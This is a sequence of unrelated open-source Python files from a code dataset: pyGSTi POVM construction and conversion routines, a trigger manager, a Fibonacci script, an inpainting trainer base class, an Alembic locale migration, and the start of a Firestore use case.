_LindbladParameterization.cast(typ)\n\n base_povm = create_from_pure_vectors(pure_vectors, ('computational', 'static pure'),\n basis, evotype, state_space)\n\n proj_basis = 'PP' if state_space.is_entirely_qubits else basis\n errorgen = _LindbladErrorgen.from_error_generator(state_space.dim, lndtype, proj_basis, basis,\n truncate=True, evotype=evotype,\n state_space=state_space)\n EffectiveExpErrorgen = _IdentityPlusErrorgenOp if lndtype.meta == '1+' else _ExpErrorgenOp\n povm = ComposedPOVM(EffectiveExpErrorgen(errorgen), base_povm, mx_basis=basis)\n else:\n raise ValueError(\"Unknown POVM type '%s'!\" % str(typ))\n\n return povm # if we get to here, then we've successfully created a state to return\n except (ValueError, AssertionError) as err:\n if on_construction_error == 'raise':\n raise err\n elif on_construction_error == 'warn':\n print('Failed to construct povm with type \"{}\" with error: {}'.format(typ, str(err)))\n pass # move on to next type\n\n raise ValueError(\"Could not create a POVM of type(s) %s from the given pure vectors!\" % (str(povm_type)))\n\n\ndef create_from_dmvecs(superket_vectors, povm_type, basis='pp', evotype='default', state_space=None,\n on_construction_error='warn'):\n \"\"\" TODO: docstring -- create a POVM from a list/dict of (key, pure-vector) pairs \"\"\"\n povm_type_preferences = (povm_type,) if isinstance(povm_type, str) else povm_type\n if not isinstance(superket_vectors, dict): # then assume it's a list of (key, value) pairs\n superket_vectors = _collections.OrderedDict(superket_vectors)\n\n for typ in povm_type_preferences:\n try:\n if typ in (\"full\", \"static\"):\n effects = [(lbl, create_effect_from_dmvec(dmvec, typ, basis, evotype, state_space))\n for lbl, dmvec in superket_vectors.items()]\n povm = UnconstrainedPOVM(effects, evotype, state_space)\n elif typ == 'full TP':\n effects = [(lbl, create_effect_from_dmvec(dmvec, 'full', basis, evotype, state_space))\n for lbl, dmvec in superket_vectors.items()]\n povm = TPPOVM(effects, evotype, state_space)\n elif _ot.is_valid_lindblad_paramtype(typ):\n from ..operations import LindbladErrorgen as _LindbladErrorgen, ExpErrorgenOp as _ExpErrorgenOp\n from ..operations import IdentityPlusErrorgenOp as _IdentityPlusErrorgenOp\n from ..operations import LindbladParameterization as _LindbladParameterization\n lndtype = _LindbladParameterization.cast(typ)\n\n base_povm = create_from_dmvecs(superket_vectors, ('computational', 'static'),\n basis, evotype, state_space)\n\n proj_basis = 'PP' if state_space.is_entirely_qubits else basis\n errorgen = _LindbladErrorgen.from_error_generator(state_space.dim, lndtype, proj_basis, basis,\n truncate=True, evotype=evotype,\n state_space=state_space)\n EffectiveExpErrorgen = _IdentityPlusErrorgenOp if lndtype.meta == '1+' else _ExpErrorgenOp\n povm = ComposedPOVM(EffectiveExpErrorgen(errorgen), base_povm, mx_basis=basis)\n elif typ in ('computational', 'static pure', 'full pure'):\n # RESHAPE NOTE: .flatten() added to line below (to convert pure *col* vec -> 1D) to fix unit tests\n pure_vectors = {k: _ot.dmvec_to_state(_bt.change_basis(superket, basis, 'std')).flatten()\n for k, superket in superket_vectors.items()}\n povm = create_from_pure_vectors(pure_vectors, typ, basis, evotype, state_space)\n else:\n raise ValueError(\"Unknown POVM type '%s'!\" % str(typ))\n\n return povm # if we get to here, then we've successfully created a state to return\n except (ValueError, AssertionError) as err:\n if on_construction_error == 'raise':\n raise err\n elif on_construction_error == 'warn':\n print('Failed to construct povm with type \"{}\" with error: {}'.format(typ, str(err)))\n pass # move on to next type\n\n raise ValueError(\"Could not create a POVM of type(s) %s from the given pure vectors!\" % (str(povm_type)))\n\n\ndef create_effect_from_pure_vector(pure_vector, effect_type, basis='pp', evotype='default', state_space=None,\n on_construction_error='warn'):\n \"\"\" TODO: docstring -- create a State from a state vector \"\"\"\n effect_type_preferences = (effect_type,) if isinstance(effect_type, str) else effect_type\n if state_space is None:\n state_space = _statespace.default_space_for_udim(len(pure_vector))\n\n for typ in effect_type_preferences:\n try:\n if typ == 'computational':\n ef = ComputationalBasisPOVMEffect.from_pure_vector(pure_vector, basis, evotype, state_space)\n #elif typ == ('static stabilizer', 'static clifford'):\n # ef = StaticStabilizerEffect(...) # TODO\n elif typ == 'static pure':\n ef = StaticPOVMPureEffect(pure_vector, basis, evotype, state_space)\n elif typ == 'full pure':\n ef = FullPOVMPureEffect(pure_vector, basis, evotype, state_space)\n elif typ in ('static', 'full'):\n superket = _bt.change_basis(_ot.state_to_dmvec(pure_vector), 'std', basis)\n ef = create_effect_from_dmvec(superket, typ, basis, evotype, state_space)\n elif typ == 'static clifford':\n ef = ComputationalBasisPOVMEffect.from_pure_vector(pure_vector.flatten())\n elif _ot.is_valid_lindblad_paramtype(typ):\n from ..operations import LindbladErrorgen as _LindbladErrorgen, ExpErrorgenOp as _ExpErrorgenOp\n from ..operations import IdentityPlusErrorgenOp as _IdentityPlusErrorgenOp\n from ..operations import LindbladParameterization as _LindbladParameterization\n lndtype = _LindbladParameterization.cast(typ)\n\n static_effect = create_effect_from_pure_vector(\n pure_vector, ('computational', 'static pure'), basis, evotype, state_space)\n\n proj_basis = 'PP' if state_space.is_entirely_qubits else basis\n errorgen = _LindbladErrorgen.from_error_generator(state_space.dim, lndtype, proj_basis, basis,\n truncate=True, evotype=evotype,\n state_space=state_space)\n EffectiveExpErrorgen = _IdentityPlusErrorgenOp if lndtype.meta == '1+' else _ExpErrorgenOp\n ef = ComposedPOVMEffect(static_effect, EffectiveExpErrorgen(errorgen))\n else:\n raise ValueError(\"Unknown effect type '%s'!\" % str(typ))\n\n return ef # if we get to here, then we've successfully created a state to return\n except (ValueError, AssertionError) as err:\n if on_construction_error == 'raise':\n raise err\n elif on_construction_error == 'warn':\n print('Failed to construct effect with type \"{}\" with error: {}'.format(typ, str(err)))\n pass # move on to next type\n\n raise ValueError(\"Could not create an effect of type(s) %s from the given pure vector!\" % (str(effect_type)))\n\n\ndef create_effect_from_dmvec(superket_vector, effect_type, basis='pp', evotype='default', state_space=None,\n on_construction_error='warn'):\n effect_type_preferences = (effect_type,) if isinstance(effect_type, str) else effect_type\n if state_space is None:\n state_space = _statespace.default_space_for_dim(len(superket_vector))\n\n for typ in effect_type_preferences:\n try:\n if typ == \"static\":\n ef = StaticPOVMEffect(superket_vector, basis, evotype, state_space)\n elif typ == \"full\":\n ef = FullPOVMEffect(superket_vector, basis, evotype, state_space)\n elif _ot.is_valid_lindblad_paramtype(typ):\n from ..operations import LindbladErrorgen as _LindbladErrorgen, ExpErrorgenOp as _ExpErrorgenOp\n from ..operations import IdentityPlusErrorgenOp as _IdentityPlusErrorgenOp\n from ..operations import LindbladParameterization as _LindbladParameterization\n lndtype = _LindbladParameterization.cast(typ)\n\n try:\n dmvec = _bt.change_basis(superket_vector, basis, 'std')\n purevec = _ot.dmvec_to_state(dmvec) # raises error if dmvec does not correspond to a pure state\n static_effect = StaticPOVMPureEffect(purevec, basis, evotype, state_space)\n except ValueError:\n static_effect = StaticPOVMEffect(superket_vector, basis, evotype, state_space)\n proj_basis = 'PP' if state_space.is_entirely_qubits else basis\n errorgen = _LindbladErrorgen.from_error_generator(state_space.dim, lndtype, proj_basis,\n basis, truncate=True, evotype=evotype)\n EffectiveExpErrorgen = _IdentityPlusErrorgenOp if lndtype.meta == '1+' else _ExpErrorgenOp\n ef = ComposedPOVMEffect(static_effect, EffectiveExpErrorgen(errorgen))\n else:\n # Anything else we try to convert to a pure vector and convert the pure state vector\n dmvec = _bt.change_basis(superket_vector, basis, 'std')\n purevec = _ot.dmvec_to_state(dmvec) # raises error if dmvec does not correspond to a pure state\n\n ef = create_effect_from_pure_vector(purevec, typ, basis, evotype, state_space)\n return ef\n except (ValueError, AssertionError) as err:\n if on_construction_error == 'raise':\n raise err\n elif on_construction_error == 'warn':\n print('Failed to construct effect with type \"{}\" with error: {}'.format(typ, str(err)))\n pass # move on to next type\n\n raise ValueError(\"Could not create an effect of type(s) %s from the given superket vector!\" % (str(effect_type)))\n\n\ndef povm_type_from_op_type(op_type):\n \"\"\"Decode an op type into an appropriate povm type.\n\n Parameters:\n -----------\n op_type: str or list of str\n Operation parameterization type (or list of preferences)\n\n Returns\n -------\n povm_type_preferences: tuple of str\n POVM parameterization types\n \"\"\"\n op_type_preferences = _mm.operations.verbose_type_from_op_type(op_type)\n\n # computational and TP are directly constructed as POVMS\n # All others pass through to the effects\n povm_conversion = {\n 'auto': 'computational',\n 'static standard': 'computational',\n 'static clifford': 'computational',\n 'static unitary': 'static pure',\n 'full unitary': 'full pure',\n 'static': 'static',\n 'full': 'full',\n 'full TP': 'full TP',\n 'full CPTP': 'computational', # TEMPORARY HACK until we create a legit option here\n 'linear': 'full',\n }\n\n povm_type_preferences = []\n for typ in op_type_preferences:\n povm_type = None\n if _ot.is_valid_lindblad_paramtype(typ):\n # Lindblad types are passed through\n povm_type = typ\n else:\n povm_type = povm_conversion.get(typ, None)\n\n if povm_type is None:\n continue\n\n if povm_type not in povm_type_preferences:\n povm_type_preferences.append(povm_type)\n\n if len(povm_type_preferences) == 0:\n raise ValueError(\n 'Could not convert any op types from {}.\\n'.format(op_type_preferences)\n + '\\tKnown op_types: Lindblad types or {}\\n'.format(sorted(list(povm_conversion.keys())))\n + '\\tValid povm_types: Lindblad types or {}'.format(sorted(list(set(povm_conversion.values()))))\n )\n\n return povm_type_preferences\n\n\ndef convert(povm, to_type, basis, ideal_povm=None, flatten_structure=False):\n \"\"\"\n TODO: update docstring\n Convert a POVM to a new type of parameterization.\n\n This potentially creates a new object. Raises ValueError for invalid conversions.\n\n Parameters\n ----------\n povm : POVM\n POVM to convert\n\n to_type : {\"full\",\"full TP\",\"static\",\"static pure\",\"H+S terms\",\n \"H+S clifford terms\",\"clifford\"}\n The type of parameterizaton to convert to. See\n :meth:`Model.set_all_parameterizations` for more details.\n TODO docstring: update the options here.\n\n basis : {'std', 'gm', 'pp', 'qt'} or Basis object\n The basis for `povm`. Allowed values are Matrix-unit (std),\n Gell-Mann (gm), Pauli-product (pp), and Qutrit (qt)\n (or a custom basis object).\n\n ideal_povm : POVM, optional\n The ideal version of `povm`, potentially used when\n converting to an error-generator type.\n\n flatten_structure : bool, optional\n When `False`, the sub-members of composed and embedded operations\n are separately converted, leaving the original POVM's structure\n unchanged. When `True`, composed and embedded operations are \"flattened\"\n into a single POVM of the requested `to_type`.\n\n Returns\n -------\n POVM\n The converted POVM vector, usually a distinct\n object from the object passed as input.\n \"\"\"\n to_types = to_type if isinstance(to_type, (tuple, list)) else (to_type,) # HACK to support multiple to_type values\n error_msgs = {}\n\n destination_types = {'full TP': TPPOVM,\n 'static clifford': ComputationalBasisPOVM}\n NoneType = type(None)\n\n for to_type in to_types:\n try:\n if isinstance(povm, destination_types.get(to_type, NoneType)):\n return povm\n\n idl = dict(ideal_povm.items()) if ideal_povm is not None else {} # ideal effects\n\n if to_type in (\"full\", \"static\", \"static pure\"):\n converted_effects = [(lbl, convert_effect(vec, to_type, basis, idl.get(lbl, None), flatten_structure))\n for lbl, vec in povm.items()]\n return UnconstrainedPOVM(converted_effects, povm.evotype, povm.state_space)\n\n elif to_type == \"full TP\":\n converted_effects = [(lbl, convert_effect(vec, \"full\", basis, idl.get(lbl, None), flatten_structure))\n for lbl, vec in povm.items()]\n return TPPOVM(converted_effects, povm.evotype, povm.state_space)\n\n elif _ot.is_valid_lindblad_paramtype(to_type):\n from ..operations import LindbladErrorgen as _LindbladErrorgen, ExpErrorgenOp as _ExpErrorgenOp\n from ..operations import IdentityPlusErrorgenOp as _IdentityPlusErrorgenOp\n from ..operations import LindbladParameterization as _LindbladParameterization\n lndtype = _LindbladParameterization.cast(to_type)\n\n #Construct a static \"base\" POVM\n if isinstance(povm, ComputationalBasisPOVM): # special easy case\n base_povm = ComputationalBasisPOVM(povm.state_space.num_qubits, povm.evotype) # just copy it?\n else:\n try:\n if povm.evotype.minimal_space == 'Hilbert':\n base_items = [(lbl, convert_effect(vec, 'static pure', basis,\n idl.get(lbl, None), flatten_structure))\n for lbl, vec in povm.items()]\n else:\n raise RuntimeError('Evotype must be compatible with Hilbert ops to use pure effects')\n except Exception: # try static mixed states next:\n base_items = [(lbl, convert_effect(vec, 'static', basis, idl.get(lbl, None), flatten_structure))\n for lbl, vec in povm.items()]\n base_povm = UnconstrainedPOVM(base_items, povm.evotype, povm.state_space)\n\n proj_basis = 'PP' if povm.state_space.is_entirely_qubits else basis\n errorgen = _LindbladErrorgen.from_error_generator(povm.state_space.dim, lndtype, proj_basis,\n basis, truncate=True, evotype=povm.evotype)\n EffectiveExpErrorgen = _IdentityPlusErrorgenOp if lndtype.meta == '1+' else _ExpErrorgenOp\n return ComposedPOVM(EffectiveExpErrorgen(errorgen), base_povm, mx_basis=basis)\n\n elif to_type == \"static clifford\":\n #Assume `povm` already represents state-vec ops, since otherwise we'd\n # need to change dimension\n nqubits = int(round(_np.log2(povm.dim)))\n\n #Check if `povm` happens to be a Z-basis POVM on `nqubits`\n v = (_np.array([1, 0], 'd'), _np.array([0, 1], 'd')) # (v0,v1) - eigenstates of sigma_z\n for zvals, lbl in zip(_itertools.product(*([(0, 1)] * nqubits)), povm.keys()):\n testvec = _functools.reduce(_np.kron, [v[i] for i in zvals])\n if not _np.allclose(testvec, povm[lbl].to_dense()):\n raise ValueError(\"Cannot convert POVM into a Z-basis stabilizer state POVM\")\n\n #If no errors, then return a stabilizer POVM\n return ComputationalBasisPOVM(nqubits, 'stabilizer')\n\n else:\n raise ValueError(\"Invalid to_type argument: %s\" % to_type)\n except Exception as e:\n error_msgs[to_type] = str(e) # try next to_type\n\n raise ValueError(\"Could not convert POVM to to type(s): %s\\n%s\" % (str(to_types), str(error_msgs)))\n\n\ndef convert_effect(effect, to_type, basis, ideal_effect=None, flatten_structure=False):\n \"\"\"\n TODO: update docstring\n Convert POVM effect vector to a new type of parameterization.\n\n This potentially creates a new POVMEffect object.\n Raises ValueError for invalid conversions.\n\n Parameters\n ----------\n effect : POVMEffect\n POVM effect vector to convert\n\n to_type : {\"full\",\"TP\",\"static\",\"static pure\",\"clifford\",LINDBLAD}\n The type of parameterizaton to convert to. \"LINDBLAD\" is a placeholder\n for the various Lindblad parameterization types. See\n :meth:`Model.set_all_parameterizations` for more details.\n\n basis : {'std', 'gm', 'pp', 'qt'} or Basis object\n The basis for `spamvec`. Allowed values are Matrix-unit (std),\n Gell-Mann (gm), Pauli-product (pp), and Qutrit (qt)\n (or a custom basis object).\n\n extra : object, optional\n Additional information for conversion.\n\n Returns\n -------\n POVMEffect\n The converted POVM effect vector, usually a distinct\n object from the object passed as input.\n \"\"\"\n to_types = to_type if isinstance(to_type, (tuple, list)) else (to_type,) # HACK to support multiple to_type values\n destination_types = {'full': FullPOVMEffect,\n 'static': StaticPOVMEffect,\n #'static pure': StaticPOVMPureEffect,\n 'static clifford': ComputationalBasisPOVMEffect}\n NoneType = type(None)\n\n for to_type in to_types:\n try:\n if isinstance(effect, destination_types.get(to_type, NoneType)):\n return effect\n\n if not flatten_structure and isinstance(effect, ComposedPOVMEffect):\n return ComposedPOVMEffect(effect.effect_vec.copy(), # don't convert (usually static) effect vec\n _mm.operations.convert(effect.error_map, to_type, basis, \"identity\",\n flatten_structure))\n\n elif _ot.is_valid_lindblad_paramtype(to_type) and (ideal_effect is not None or effect.num_params == 0):\n from ..operations import LindbladErrorgen as _LindbladErrorgen, ExpErrorgenOp as _ExpErrorgenOp\n from ..operations import IdentityPlusErrorgenOp as _IdentityPlusErrorgenOp\n from ..operations import LindbladParameterization as _LindbladParameterization\n lndtype = _LindbladParameterization.cast(to_type)\n\n ef = ideal_effect if (ideal_effect is not None) else effect\n if ef is not effect and not _np.allclose(ef.to_dense(), effect.to_dense()):\n raise NotImplementedError(\"Must supply ideal or a static effect to convert to a Lindblad type!\")\n\n proj_basis = 'PP' if effect.state_space.is_entirely_qubits else basis\n errorgen = _LindbladErrorgen.from_error_generator(effect.state_space.dim, lndtype, proj_basis,\n basis, truncate=True, evotype=effect.evotype)\n EffectiveExpErrorgen = _IdentityPlusErrorgenOp if lndtype.meta == '1+' else _ExpErrorgenOp\n return ComposedPOVMEffect(ef, EffectiveExpErrorgen(errorgen))\n\n else:\n min_space = effect.evotype.minimal_space\n vec = effect.to_dense(min_space)\n if min_space == 'Hilbert':\n return create_effect_from_pure_vector(vec, to_type, basis, effect.evotype, effect.state_space,\n on_construction_error='raise')\n else:\n return create_effect_from_dmvec(vec, to_type, basis, effect.evotype, effect.state_space)\n except ValueError:\n pass\n\n raise ValueError(\"Could not convert effect to type(s): %s\" % str(to_types))\n\n\ndef optimize_effect(vec_to_optimize, target_vec):\n \"\"\"\n Optimize the parameters of vec_to_optimize.\n\n The optimization is performed so that the the resulting POVM effect is as\n close as possible to target_vec.\n\n Parameters\n ----------\n vec_to_optimize : POVMEffect\n The effect vector to optimize. This object gets altered.\n\n target_vec : POVMEffect\n The effect vector used as the target.\n\n Returns\n -------\n None\n \"\"\"\n\n if not isinstance(vec_to_optimize, ConjugatedStatePOVMEffect):\n return # we don't know how to deal with anything but a conjuated state effect...\n\n from ..states import optimize_state as _optimize_state\n _optimize_state(vec_to_optimize.state, target_vec)\n vec_to_optimize.from_vector(vec_to_optimize.state.to_vector()) # make sure effect is updated\n","repo_name":"pyGSTio/pyGSTi","sub_path":"pygsti/modelmembers/povms/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":26168,"program_lang":"python","lang":"en","doc_type":"code","stars":110,"dataset":"github-code","pt":"62"} +{"seq_id":"27855384720","text":"from basicmonitor.triggers.trigger import Trigger\nfrom basicmonitor.data_models import ItemManager\nimport threading\n\n\n\nclass EventWorker(threading.Thread):\n\tdef __init__(self, handler, event_manager):\n\t\tself.handler = handler\n\t\tself.event_manager = event_manager\n\t\tthreading.Thread.__init__(self, daemon=True)\n\n\n\tdef run(self):\n\t\tfor event in self.event_manager.subscribe():\n\t\t\tself.handler(event)\n\n\nclass TriggerManager(ItemManager):\n\tdef __init__(self, db, sensor_manager, action_manager, event_manager):\n\t\tItemManager.__init__(self,\n\t\t\tdb=db,\n\t\t\titem_factory_function=Trigger.from_json,\n\t\t\titem_table_name=\"triggers\",\n\t\t item_name=\"trigger\",\n\t\t\treading_table_prefix=\"trigger-\"\n\t\t)\n\t\t# other managers\n\t\tself.sensor_manager = sensor_manager\n\t\tself.action_manager = action_manager\n\n\t\t# set up the worker\n\t\tself.event_worker = EventWorker(self.handle_event, event_manager)\n\t\tself.event_worker.start()\n\n\n\tdef handle_event(self, event):\n\t\tif not event[\"message\"] == \"sensor updated\":\n\t\t\treturn\n\n\t\tsensor_id = event[\"data\"][\"id\"]\n\t\tfor trigger in self.items:\n\t\t\tif sensor_id in trigger.linked_sensors:\n\t\t\t\t#print(f\"updating {trigger.name}, because sensor {self.sensor_manager[sensor_id].name} was updated\")\n\t\t\t\ttry:\n\t\t\t\t\t# Updating the trigger can take a while if an slow action is caused. Actions could be switched to\n\t\t\t\t\t# asyncio to reconcile this.\n\t\t\t\t\ttrigger.update(self.sensor_manager, self.action_manager)\n\t\t\t\texcept Exception as e:\n\t\t\t\t\tprint(e)\n","repo_name":"TorbenFricke/basicmonitor","sub_path":"basicmonitor/triggers/manager.py","file_name":"manager.py","file_ext":"py","file_size_in_byte":1455,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"6469093929","text":"def fibbonacci(number):\n pre=0\n now=1\n if number == 0 or number == 1:\n return number\n for i in range(2,number+1):\n now+=pre\n pre=now-pre\n return now\ndef main():\n while True:\n ans=input('please enter a number: ')\n if ans =='q':\n break\n print('turning to fibbonacci number:', fibbonacci(int(ans)))\nmain()","repo_name":"ZJimFang/code-club","sub_path":"蔡坤霖/LeetCode/20220225/20220225CodeClub第三題.py","file_name":"20220225CodeClub第三題.py","file_ext":"py","file_size_in_byte":373,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"4618172105","text":"import os\nfrom argparse import Namespace\nfrom yacs.config import CfgNode as CN\n\nimport torch\nfrom torch.utils.data import ConcatDataset\n\nfrom utils.logger import get_logger, StatusTracker\nfrom utils.mask_blind import DatasetWithMaskBlind\nfrom utils.data import get_dataset, get_dataloader\nfrom utils.misc import get_time_str, init_seeds, create_exp_dir\nfrom utils.dist import get_rank, get_world_size, init_distributed_mode, broadcast_objects\n\n\nclass BaseTrainer:\n def __init__(self, args: Namespace, cfg: CN):\n self.args, self.cfg = args, cfg\n self.time_str = get_time_str()\n\n # INITIALIZE DISTRIBUTED MODE\n init_distributed_mode()\n self.device = torch.device('cuda' if torch.cuda.is_available() else 'cpu')\n\n # INITIALIZE SEEDS\n init_seeds(self.cfg.seed + get_rank())\n\n # CREATE EXPERIMENT DIRECTORY\n self.exp_dir = create_exp_dir(\n cfg_dump=self.cfg.dump(sort_keys=False),\n resume=self.cfg.train.resume is not None,\n time_str=self.time_str,\n name=self.cfg.train.exp_dir,\n no_interaction=self.args.no_interaction,\n )\n self.exp_dir = broadcast_objects(self.exp_dir)\n\n # INITIALIZE LOGGER\n self.logger = get_logger(log_file=os.path.join(self.exp_dir, f'output-{self.time_str}.log'))\n self.logger.info(f'Experiment directory: {self.exp_dir}')\n self.logger.info(f'Device: {self.device}')\n self.logger.info(f\"Number of devices: {get_world_size()}\")\n\n # BUILD DATASET & DATALOADER\n self.micro_batch = self.cfg.dataloader.micro_batch\n if self.micro_batch == 0:\n self.micro_batch = self.cfg.dataloader.batch_size\n self.train_set, self.valid_set, self.train_loader, self.valid_loader = self.create_data()\n effective_batch = self.cfg.dataloader.batch_size * get_world_size()\n self.logger.info(f'Size of training set: {len(self.train_set)}')\n self.logger.info(f'Batch size per device: {self.cfg.dataloader.batch_size}')\n self.logger.info(f'Effective batch size: {effective_batch}')\n\n # DEFINE STATUS TRACKER\n self.status_tracker = StatusTracker(\n logger=self.logger,\n exp_dir=self.exp_dir,\n print_freq=self.cfg.train.print_freq,\n )\n\n # BUILD MODELS AND OPTIMIZERS\n # LOAD PRETRAINED WEIGHTS\n # RESUME\n # DEFINE LOSSES\n # DISTRIBUTED MODELS\n # EVALUATION METRICS\n\n def create_data(self):\n train_set = get_dataset(\n name=self.cfg.data.name,\n dataroot=self.cfg.data.dataroot,\n img_size=self.cfg.data.img_size,\n split='train',\n )\n valid_set = get_dataset(\n name=self.cfg.data.name,\n dataroot=self.cfg.data.dataroot,\n img_size=self.cfg.data.img_size,\n split='valid',\n subset_ids=torch.arange(3000),\n )\n real_dataset_train = None\n real_dataset_valid = None\n if self.cfg.mask.noise_type == 'real':\n real_dataset_train = ConcatDataset([\n get_dataset(\n name=d['name'],\n dataroot=d['dataroot'],\n img_size=d['img_size'],\n split='train',\n ) for d in self.cfg.mask.real_dataset\n ])\n real_dataset_valid = ConcatDataset([\n get_dataset(\n name=d['name'],\n dataroot=d['dataroot'],\n img_size=d['img_size'],\n split='valid',\n )\n for d in self.cfg.mask.real_dataset\n ])\n train_set = DatasetWithMaskBlind(\n dataset=train_set,\n mask_type=self.cfg.mask.mask_type,\n dir_path=getattr(self.cfg.mask, 'dir_path', None),\n dir_invert_color=getattr(self.cfg.mask, 'dir_invert_color', False),\n rect_num=getattr(self.cfg.mask, 'rect_num', (0, 4)),\n rect_length_ratio=getattr(self.cfg.mask, 'rect_length_ratio', (0.2, 0.8)),\n brush_num=getattr(self.cfg.mask, 'brush_num', (1, 9)),\n brush_turns=getattr(self.cfg.mask, 'brush_turns', (4, 18)),\n brush_width_ratio=getattr(self.cfg.mask, 'brush_width_ratio', (0.02, 0.1)),\n brush_length_ratio=getattr(self.cfg.mask, 'brush_length_ratio', (0.1, 0.25)),\n noise_type=getattr(self.cfg.mask, 'noise_type', 'constant'),\n constant_value=getattr(self.cfg.mask, 'constant_value', (0, 0, 0)),\n real_dataset=real_dataset_train,\n smooth_radius=self.cfg.mask.smooth_radius,\n is_train=True,\n )\n valid_set = DatasetWithMaskBlind(\n dataset=valid_set,\n mask_type=self.cfg.mask.mask_type,\n dir_path=getattr(self.cfg.mask, 'dir_path', None),\n dir_invert_color=getattr(self.cfg.mask, 'dir_invert_color', False),\n rect_num=getattr(self.cfg.mask, 'rect_num', (0, 4)),\n rect_length_ratio=getattr(self.cfg.mask, 'rect_length_ratio', (0.2, 0.8)),\n brush_num=getattr(self.cfg.mask, 'brush_num', (1, 9)),\n brush_turns=getattr(self.cfg.mask, 'brush_turns', (4, 18)),\n brush_width_ratio=getattr(self.cfg.mask, 'brush_width_ratio', (0.02, 0.1)),\n brush_length_ratio=getattr(self.cfg.mask, 'brush_length_ratio', (0.1, 0.25)),\n noise_type=getattr(self.cfg.mask, 'noise_type', 'constant'),\n constant_value=getattr(self.cfg.mask, 'constant_value', (0, 0, 0)),\n real_dataset=real_dataset_valid,\n smooth_radius=self.cfg.mask.smooth_radius,\n is_train=False,\n )\n train_loader = get_dataloader(\n dataset=train_set,\n shuffle=True,\n drop_last=True,\n batch_size=self.cfg.dataloader.batch_size,\n num_workers=self.cfg.dataloader.num_workers,\n pin_memory=self.cfg.dataloader.pin_memory,\n prefetch_factor=self.cfg.dataloader.prefetch_factor,\n )\n valid_loader = get_dataloader(\n dataset=valid_set,\n shuffle=False,\n drop_last=False,\n batch_size=self.micro_batch,\n num_workers=self.cfg.dataloader.num_workers,\n pin_memory=self.cfg.dataloader.pin_memory,\n prefetch_factor=self.cfg.dataloader.prefetch_factor,\n )\n return train_set, valid_set, train_loader, valid_loader\n\n def run_loop(self):\n raise NotImplementedError\n\n def save_ckpt(self, save_path):\n raise NotImplementedError\n\n def load_ckpt(self, ckpt_path):\n raise NotImplementedError\n","repo_name":"xyfJASON/HCL","sub_path":"engine/base_trainer.py","file_name":"base_trainer.py","file_ext":"py","file_size_in_byte":6724,"program_lang":"python","lang":"en","doc_type":"code","stars":14,"dataset":"github-code","pt":"62"} +{"seq_id":"33586636847","text":"\"\"\"langstrings\n\nRevision ID: e4edf454f09\nRevises: 1c09e0b1ff2a\nCreate Date: 2015-12-18 18:41:43.800065\n\n\"\"\"\n\n# revision identifiers, used by Alembic.\nrevision = 'e4edf454f09'\ndown_revision = '1c09e0b1ff2a'\n\nfrom alembic import context, op\nimport sqlalchemy as sa\nimport transaction\n\n\nfrom assembl.lib import config\n\n\nrtl_locales = set((\n \"ar\", \"dv\", \"ha\", \"he\", \"ks_Arab\", \"ku_Arab\", \"ms_Arab\",\n \"pa_Arab\", \"fa\", \"ps\", \"sd_Arab\", \"tg_Arab\", \"ug_Arab\",\n \"ur\", \"uz_Arab\", \"yi\"))\n\n\ndef upgrade(pyramid_env):\n with context.begin_transaction():\n op.create_table(\n \"locale\",\n sa.Column(\"id\", sa.Integer, primary_key=True),\n sa.Column(\"code\", sa.String(20), unique=True),\n sa.Column(\"rtl\", sa.Boolean, server_default=\"0\"))\n op.create_table(\n \"locale_label\",\n sa.Column(\"id\", sa.Integer, primary_key=True),\n sa.Column(\n \"named_locale_id\", sa.Integer, sa.ForeignKey(\n \"locale.id\", ondelete=\"CASCADE\", onupdate=\"CASCADE\"),\n nullable=False),\n sa.Column(\n \"locale_id_of_label\", sa.Integer, sa.ForeignKey(\n \"locale.id\", ondelete=\"CASCADE\", onupdate=\"CASCADE\"),\n nullable=False),\n sa.Column(\"name\", sa.Unicode))\n op.create_table(\n \"langstring\",\n sa.Column('id', sa.Integer, primary_key=True))\n op.create_table(\n \"langstring_entry\",\n sa.Column(\"id\", sa.Integer, primary_key=True),\n sa.Column(\"langstring_id\", sa.Integer,\n sa.ForeignKey(\n \"langstring.id\", ondelete=\"CASCADE\"),\n nullable=False, index=True),\n sa.Column(\"locale_id\", sa.Integer, sa.ForeignKey(\n \"locale.id\", ondelete=\"CASCADE\", onupdate=\"CASCADE\"),\n nullable=False),\n sa.Column(\"locale_identification_data\", sa.String),\n sa.Column(\"locale_confirmed\", sa.Boolean, server_default=\"0\"),\n sa.Column(\"tombstone_date\", sa.DateTime, server_default=None),\n sa.Column(\"value\", sa.UnicodeText),\n sa.schema.UniqueConstraint(\n \"langstring_id\", \"locale_id\", \"tombstone_date\"))\n\n # Do stuff with the app's models here.\n from assembl import models as m\n db = m.get_session_maker()()\n import simplejson as json\n names = json.load(open('assembl/nlp/data/language-names.json'))\n with transaction.manager:\n locales = {x[0] for x in names}.union({x[1] for x in names})\n for l in locales:\n parts = l.split(\"_\")\n rtl = parts[0] in rtl_locales or \"_\".join(parts[:2]) in rtl_locales\n db.add(m.Locale(code=l, rtl=rtl))\n with transaction.manager:\n c = m.Locale.locale_collection\n for (l, t, n) in names:\n db.add(m.LocaleLabel(named_locale_id=c[l], locale_id_of_label=c[t], name=n))\n\n\ndef downgrade(pyramid_env):\n with context.begin_transaction():\n op.drop_table(\"langstring_entry\")\n op.drop_table(\"langstring\")\n op.drop_table(\"locale_label\")\n op.drop_table(\"locale\")\n","repo_name":"assembl/assembl","sub_path":"assembl/alembic/versions/e4edf454f09_langstrings.py","file_name":"e4edf454f09_langstrings.py","file_ext":"py","file_size_in_byte":3181,"program_lang":"python","lang":"en","doc_type":"code","stars":99,"dataset":"github-code","pt":"62"} +{"seq_id":"23276972508","text":"from src.services.list_posts.DTO.posts_dto import Post, PostsDTO\r\nfrom src.repositories.firestore_repository import FirestoreRepository\r\n\r\nclass ListPostsUseCase:\r\n def __init__(self, repository: FirestoreRepository):\r\n self.repository = repository\r\n \r\n def execute(self) -> PostsDTO:\r\n snapshots = self.repository.list(collection='posts')\r\n\r\n post_list = PostsDTO(posts=[])\r\n for doc in snapshots:\r\n post_list.posts.append(Post.from_json(json_object={'id': doc.id, **doc.to_dict()}))\r\n post_list.total_posts += 1\r\n\r\n return 